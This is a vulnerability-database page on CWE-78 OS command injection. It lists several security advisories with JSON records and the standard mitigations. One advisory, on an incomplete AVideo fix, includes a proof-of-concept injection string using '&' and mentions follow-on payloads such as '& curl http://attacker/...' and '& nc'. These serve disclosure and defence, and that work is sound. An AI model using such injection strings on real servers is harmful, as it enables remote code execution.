Common Weakness Enumeration

CWE-78

Allowed

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Abstraction: Base · Status: Stable

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

8265 vulnerabilities reference this CWE, most recent first.

GHSA-W9MX-XMG4-GC4R

Vulnerability from github – Published: 2026-07-09 20:52 – Updated: 2026-07-09 20:52
VLAI
Summary
laravel-backup-restore has an OS Command Injection during database restore
Details

Summary

A crafted backup archive can trigger OS command injection during database restore. The restore workflow extracts a ZIP archive, enumerates files under db-dumps, converts the dump path to an absolute path, and passes that path into database import commands that are built as shell command strings.

The dump filename is not shell-escaped before it is interpolated into commands such as:

  • mysql ... < {dumpFile}
  • gunzip -c {dumpFile} / gunzip < {dumpFile}
  • psql ... < {dumpFile}
  • sqlite3 ... < {dumpFile}

Because Illuminate\Support\Facades\Process::run(string) uses Symfony Process::fromShellCommandline(), shell metacharacters in the dump filename are interpreted by /bin/sh on Unix-like systems or by the platform shell on Windows.

Impact

If an attacker can cause an operator or automation to restore a malicious backup archive, the attacker can execute arbitrary shell commands as the PHP/Laravel application user on the system performing the restore. This can lead to application compromise, database credential disclosure, tampering with restored data, and further lateral movement depending on deployment permissions.

This is not about malicious SQL inside the dump. The command injection is carried in the ZIP entry filename under db-dumps, before the dump content is imported.

Patches

The vulnerability has been fixed in v1.9.4 of the package.

Workarounds

There is no configuration option that disables the vulnerable code path. Upgrading to the patched release is the only complete fix.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "wnx/laravel-backup-restore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53932"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T20:52:57Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nA crafted backup archive can trigger OS command injection during database restore. The restore workflow extracts a ZIP archive, enumerates files under `db-dumps`, converts the dump path to an absolute path, and passes that path into database import commands that are built as shell command strings.\n\nThe dump filename is not shell-escaped before it is interpolated into commands such as:\n\n- `mysql ... \u003c {dumpFile}`\n- `gunzip -c {dumpFile}` / `gunzip \u003c {dumpFile}`\n- `psql ... \u003c {dumpFile}`\n- `sqlite3 ... \u003c {dumpFile}`\n\nBecause `Illuminate\\Support\\Facades\\Process::run(string)` uses Symfony `Process::fromShellCommandline()`, shell metacharacters in the dump filename are interpreted by `/bin/sh` on Unix-like systems or by the platform shell on Windows.\n\n### Impact\nIf an attacker can cause an operator or automation to restore a malicious backup archive, the attacker can execute arbitrary shell commands as the PHP/Laravel application user on the system performing the restore. This can lead to application compromise, database credential disclosure, tampering with restored data, and further lateral movement depending on deployment permissions.\n\nThis is not about malicious SQL inside the dump. The command injection is carried in the ZIP entry filename under `db-dumps`, before the dump content is imported.\n\n### Patches\nThe vulnerability has been fixed in v1.9.4 of the package.\n\n### Workarounds\nThere is no configuration option that disables the vulnerable code path. Upgrading to the patched release is the only complete fix.",
  "id": "GHSA-w9mx-xmg4-gc4r",
  "modified": "2026-07-09T20:52:57Z",
  "published": "2026-07-09T20:52:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stefanzweifel/laravel-backup-restore/security/advisories/GHSA-w9mx-xmg4-gc4r"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stefanzweifel/laravel-backup-restore"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "laravel-backup-restore has an OS Command Injection during database restore"
}

GHSA-W9QP-HFQH-WJG8

Vulnerability from github – Published: 2022-05-17 05:25 – Updated: 2022-05-17 05:25
VLAI
Details

lhn/public/network/ping in HP SAN/iQ 9.5 on the HP Virtual SAN Appliance allows remote authenticated users to execute arbitrary commands via shell metacharacters in the (1) first, (2) third, or (3) fourth parameter. NOTE: this vulnerability exists because of an incomplete fix for CVE-2012-4361.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2012-2986"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2012-08-20T22:55:00Z",
    "severity": "HIGH"
  },
  "details": "lhn/public/network/ping in HP SAN/iQ 9.5 on the HP Virtual SAN Appliance allows remote authenticated users to execute arbitrary commands via shell metacharacters in the (1) first, (2) third, or (3) fourth parameter.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2012-4361.",
  "id": "GHSA-w9qp-hfqh-wjg8",
  "modified": "2022-05-17T05:25:13Z",
  "published": "2022-05-17T05:25:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-2986"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/441363"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W9WF-7G3R-XGX7

Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34
VLAI
Details

A vulnerability in the log subscription subsystem of Cisco AsyncOS for the Cisco Secure Web Appliance (formerly Web Security Appliance) could allow an authenticated, local attacker to perform command injection and elevate privileges to root. This vulnerability is due to insufficient validation of user-supplied input for the web interface and CLI. An attacker could exploit this vulnerability by authenticating to the affected device and injecting scripting commands in the scope of the log subscription subsystem. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system and elevate privileges to root.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-3367"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-18T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the log subscription subsystem of Cisco AsyncOS for the Cisco Secure Web Appliance (formerly Web Security Appliance) could allow an authenticated, local attacker to perform command injection and elevate privileges to root. This vulnerability is due to insufficient validation of user-supplied input for the web interface and CLI. An attacker could exploit this vulnerability by authenticating to the affected device and injecting scripting commands in the scope of the log subscription subsystem. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system and elevate privileges to root.",
  "id": "GHSA-w9wf-7g3r-xgx7",
  "modified": "2022-05-24T17:34:34Z",
  "published": "2022-05-24T17:34:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3367"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-wsa-prv-esc-nPzWZrQj"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-WC27-6X2H-Q38W

Vulnerability from github – Published: 2025-02-26 18:30 – Updated: 2025-02-26 18:30
VLAI
Details

A vulnerability in the software upgrade process of Cisco Nexus 3000 Series Switches and Cisco Nexus 9000 Series Switches in standalone NX-OS mode could allow an authenticated, local attacker with valid Administrator credentials to execute a command injection attack on the underlying operating system of an affected device.

This vulnerability is due to insufficient validation of specific elements within a software image. An attacker could exploit this vulnerability by installing a crafted image. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with root privileges.  Note: Administrators should validate the hash of any software image before installation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-20161"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-26T17:15:23Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the software upgrade process of Cisco Nexus 3000 Series Switches and Cisco Nexus 9000 Series Switches in standalone NX-OS mode could allow an authenticated, local attacker with valid Administrator credentials to execute a command injection attack on the underlying operating system of an affected device.\n\nThis vulnerability is due to insufficient validation of specific elements within a software image. An attacker could exploit this vulnerability by installing a crafted image. A successful exploit could allow the attacker to execute arbitrary commands on the underlying operating system with root privileges.\u0026nbsp;\nNote: Administrators should validate the hash of any software image before installation.",
  "id": "GHSA-wc27-6x2h-q38w",
  "modified": "2025-02-26T18:30:39Z",
  "published": "2025-02-26T18:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20161"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-ici-dpOjbWxk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WC2J-86RX-J339

Vulnerability from github – Published: 2023-12-22 21:30 – Updated: 2024-01-03 03:30
VLAI
Details

TOTOLINK EX1200L V9.3.5u.6146_B20201023 is vulnerable to arbitrary command execution on the cstecgi.cgi NTPSyncWithHost interface.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-51035"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-22T19:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "TOTOLINK EX1200L V9.3.5u.6146_B20201023 is vulnerable to arbitrary command execution on the cstecgi.cgi NTPSyncWithHost interface.",
  "id": "GHSA-wc2j-86rx-j339",
  "modified": "2024-01-03T03:30:32Z",
  "published": "2023-12-22T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51035"
    },
    {
      "type": "WEB",
      "url": "https://815yang.github.io/2023/12/12/ex1200l/totolink_ex1200L_NTPSyncWithHost"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WC3F-XC32-435F

Vulnerability from github – Published: 2026-06-23 17:42 – Updated: 2026-06-23 17:42
VLAI
Summary
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
Details

Summary

The fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...). It still does not neutralize a single & (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original — only the surviving metacharacter differs.

Verified at master HEAD.

The surviving gap

HEAD sanitizeFFmpegCommand (functions.php):

$command = str_replace('&&', '', $command);                    // only the doubled form
$command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);  // strips '&' only when followed by '>'
$command = preg_replace('/[;|`<>$()\n\r{}]/', '', $command);   // char class has no '&'
// then requires the result to start with 'ffmpeg'

A single & is therefore preserved. ffmpeg ... & <cmd> passes the sanitizer and the strpos(trim($command),'ffmpeg')===0 prefix gate.

Sink (unchanged)

plugin/API/standAlone/ffmpeg.json.php:418 -> execAsync($ffmpegCommand, $keyword). In objects/functionsExec.php::execAsync:

$command = addcslashes($command, '"');   // line 686 — escapes only the double-quote
$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";  // line 705
exec($commandWithKeyword, ...);          // line 712 — PHP exec() runs via /bin/sh -c

The sanitized command is embedded inside an inner sh -c "...". A bare & in $command separates commands for that inner shell, so the injected command executes. addcslashes escaping only " does not stop &.

Reachability

ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N).

Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)

Byte-faithful PHP harness: sanitizeFFmpegCommand copied verbatim from HEAD + the execAsync sh -c wrapping copied from functionsExec.php:

attacker input : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
after sanitize : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
ampersand survived : YES   passes prefix : YES
final sh -c string:
  nohup sh -c "ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo $! > /tmp/testkw.pid" > /dev/null 2>&1 &
>> injected touch executed: YES (/tmp/avideo_amp_rce_proof)

The sanitizer leaves & intact and the injected touch runs at the sink.

Impact

Arbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not.

Remediation

Stop applying a metacharacter denylist to a sh -c sink. Build the ffmpeg invocation as an argv array with escapeshellarg() per token (the project already uses escapeshellarg() at 137 sites) instead of interpolating $command into sh -c "...". If the denylist is kept as defense-in-depth, add & to the stripped set — but the denylist approach has now missed two metacharacters in a row ($() then &).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55173"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T17:42:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that `sanitizeFFmpegCommand()` (`plugin/API/standAlone/functions.php`) failed to strip `$(...)` command substitution, allowing OS command injection at the `execAsync()` `sh -c` sink. The fix (commit `25c8ab90`) added `$`, `(`, `)`, `{`, `}`, `\\n`, `\\r` to the denylist character class and a `str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, ...)`. It still does **not** neutralize a single `\u0026` (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original \u2014 only the surviving metacharacter differs.\n\nVerified at master HEAD.\n\n### The surviving gap\n\nHEAD `sanitizeFFmpegCommand` (`functions.php`):\n```php\n$command = str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, $command);                    // only the doubled form\n$command = preg_replace(\u0027/\\s*\u0026?\u003e.*(?:2\u003e\u00261)?/\u0027, \u0027\u0027, $command);  // strips \u0027\u0026\u0027 only when followed by \u0027\u003e\u0027\n$command = preg_replace(\u0027/[;|`\u003c\u003e$()\\n\\r{}]/\u0027, \u0027\u0027, $command);   // char class has no \u0027\u0026\u0027\n// then requires the result to start with \u0027ffmpeg\u0027\n```\nA single `\u0026` is therefore preserved. `ffmpeg ... \u0026 \u003ccmd\u003e` passes the sanitizer and the `strpos(trim($command),\u0027ffmpeg\u0027)===0` prefix gate.\n\n### Sink (unchanged)\n\n`plugin/API/standAlone/ffmpeg.json.php:418` -\u003e `execAsync($ffmpegCommand, $keyword)`. In `objects/functionsExec.php::execAsync`:\n```php\n$command = addcslashes($command, \u0027\"\u0027);   // line 686 \u2014 escapes only the double-quote\n$commandWithKeyword = \"nohup sh -c \\\"$command \u0026 echo \\\\$! \u003e /tmp/$keyword.pid\\\" \u003e /dev/null 2\u003e\u00261 \u0026\";  // line 705\nexec($commandWithKeyword, ...);          // line 712 \u2014 PHP exec() runs via /bin/sh -c\n```\nThe sanitized command is embedded inside an inner `sh -c \"...\"`. A bare `\u0026` in `$command` separates commands for that inner shell, so the injected command executes. `addcslashes` escaping only `\"` does not stop `\u0026`.\n\n### Reachability\n\n`ffmpeg.json.php` builds the command from `_decryptString(getInput(\u0027codeToExecEncrypted\u0027))`. This is the **same** threat model the original advisory accepted (\u201can attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server\u201d) and the same CVSS basis (`AV:N/AC:H/PR:N`).\n\n### Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)\n\nByte-faithful PHP harness: `sanitizeFFmpegCommand` copied verbatim from HEAD + the `execAsync` `sh -c` wrapping copied from `functionsExec.php`:\n```\nattacker input : ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo done out.mp4\nafter sanitize : ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo done out.mp4\nampersand survived : YES   passes prefix : YES\nfinal sh -c string:\n  nohup sh -c \"ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo $! \u003e /tmp/testkw.pid\" \u003e /dev/null 2\u003e\u00261 \u0026\n\u003e\u003e injected touch executed: YES (/tmp/avideo_amp_rce_proof)\n```\nThe sanitizer leaves `\u0026` intact and the injected `touch` runs at the sink.\n\n### Impact\n\nArbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple `\u0026`-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the `\u003e` strip, but command execution (e.g. `\u0026 curl http://attacker/...`, `\u0026 nc ...`, dropping/running a file) is not.\n\n### Remediation\n\nStop applying a metacharacter denylist to a `sh -c` sink. Build the ffmpeg invocation as an argv array with `escapeshellarg()` per token (the project already uses `escapeshellarg()` at 137 sites) instead of interpolating `$command` into `sh -c \"...\"`. If the denylist is kept as defense-in-depth, add `\u0026` to the stripped set \u2014 but the denylist approach has now missed two metacharacters in a row (`$()` then `\u0026`).",
  "id": "GHSA-wc3f-xc32-435f",
  "modified": "2026-06-23T17:42:17Z",
  "published": "2026-06-23T17:42:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single \u0027\u0026\u0027 (background operator), giving OS command execution at the same execAsync sh -c sink"
}

GHSA-WC5R-583W-9MRQ

Vulnerability from github – Published: 2022-11-23 18:30 – Updated: 2022-11-26 06:31
VLAI
Details

TOTOLINK NR1800X V9.1.0u.6279_B20210910 contains a command injection via the FileName parameter in the setUploadSetting function.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-44252"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-23T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "TOTOLINK NR1800X V9.1.0u.6279_B20210910 contains a command injection via the FileName parameter in the setUploadSetting function.",
  "id": "GHSA-wc5r-583w-9mrq",
  "modified": "2022-11-26T06:31:17Z",
  "published": "2022-11-23T18:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44252"
    },
    {
      "type": "WEB",
      "url": "https://brief-nymphea-813.notion.site/LR350-command-injection-setUploadSetting-b6d3012a3c2f43adac79c44edd57c937"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WC5R-96VX-4JJ6

Vulnerability from github – Published: 2023-08-03 18:30 – Updated: 2024-04-04 06:31
VLAI
Details

An OS Command injection vulnerability exists in Suprema BioStar 2 before V2.9.1, which allows authenticated users to execute arbitrary OS commands on the BioStar 2 server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-33364"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-03T16:15:11Z",
    "severity": "HIGH"
  },
  "details": "An OS Command injection vulnerability exists in Suprema BioStar 2 before V2.9.1, which allows authenticated users to execute arbitrary OS commands on the BioStar 2 server.",
  "id": "GHSA-wc5r-96vx-4jj6",
  "modified": "2024-04-04T06:31:51Z",
  "published": "2023-08-03T18:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33364"
    },
    {
      "type": "WEB",
      "url": "https://claroty.com/team82/disclosure-dashboard/cve-2023-33364"
    },
    {
      "type": "WEB",
      "url": "https://kb.supremainc.com/knowledge/doku.php?id=en:release_note_291"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WC7G-3Q2H-447C

Vulnerability from github – Published: 2026-01-23 18:31 – Updated: 2026-01-23 18:31
VLAI
Details

LiteSpeed Web Server Enterprise 5.4.11 contains an authenticated command injection vulnerability in the external app configuration interface. Authenticated administrators can inject shell commands through the 'Command' parameter in the server configuration, allowing remote code execution via path traversal and bash command injection.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-47903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-23T17:16:02Z",
    "severity": "HIGH"
  },
  "details": "LiteSpeed Web Server Enterprise 5.4.11 contains an authenticated command injection vulnerability in the external app configuration interface. Authenticated administrators can inject shell commands through the \u0027Command\u0027 parameter in the server configuration, allowing remote code execution via path traversal and bash command injection.",
  "id": "GHSA-wc7g-3q2h-447c",
  "modified": "2026-01-23T18:31:29Z",
  "published": "2026-01-23T18:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47903"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/49523"
    },
    {
      "type": "WEB",
      "url": "https://www.litespeedtech.com"
    },
    {
      "type": "WEB",
      "url": "https://www.litespeedtech.com/products"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/litespeed-web-server-enterprise-command-injection"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WC8J-6G5M-3R95

Vulnerability from github – Published: 2023-05-30 03:30 – Updated: 2024-04-04 04:22
VLAI
Details

The post-authentication command injection vulnerability in the Zyxel NAS326 firmware versions prior to V5.21(AAZF.13)C0 could allow an authenticated attacker with administrator privileges to execute some operating system (OS) commands on an affected device remotely.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-27988"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-30T02:15:33Z",
    "severity": "HIGH"
  },
  "details": "The post-authentication command injection vulnerability in the Zyxel NAS326 firmware versions prior to V5.21(AAZF.13)C0 could allow an authenticated attacker with administrator privileges to execute some operating system (OS) commands on an affected device remotely.",
  "id": "GHSA-wc8j-6g5m-3r95",
  "modified": "2024-04-04T04:22:54Z",
  "published": "2023-05-30T03:30:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27988"
    },
    {
      "type": "WEB",
      "url": "https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-post-authentication-command-injection-vulnerability-in-nas-products"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Architecture and Design

Strategy: Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-4.3
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Mitigation
Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
  • Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

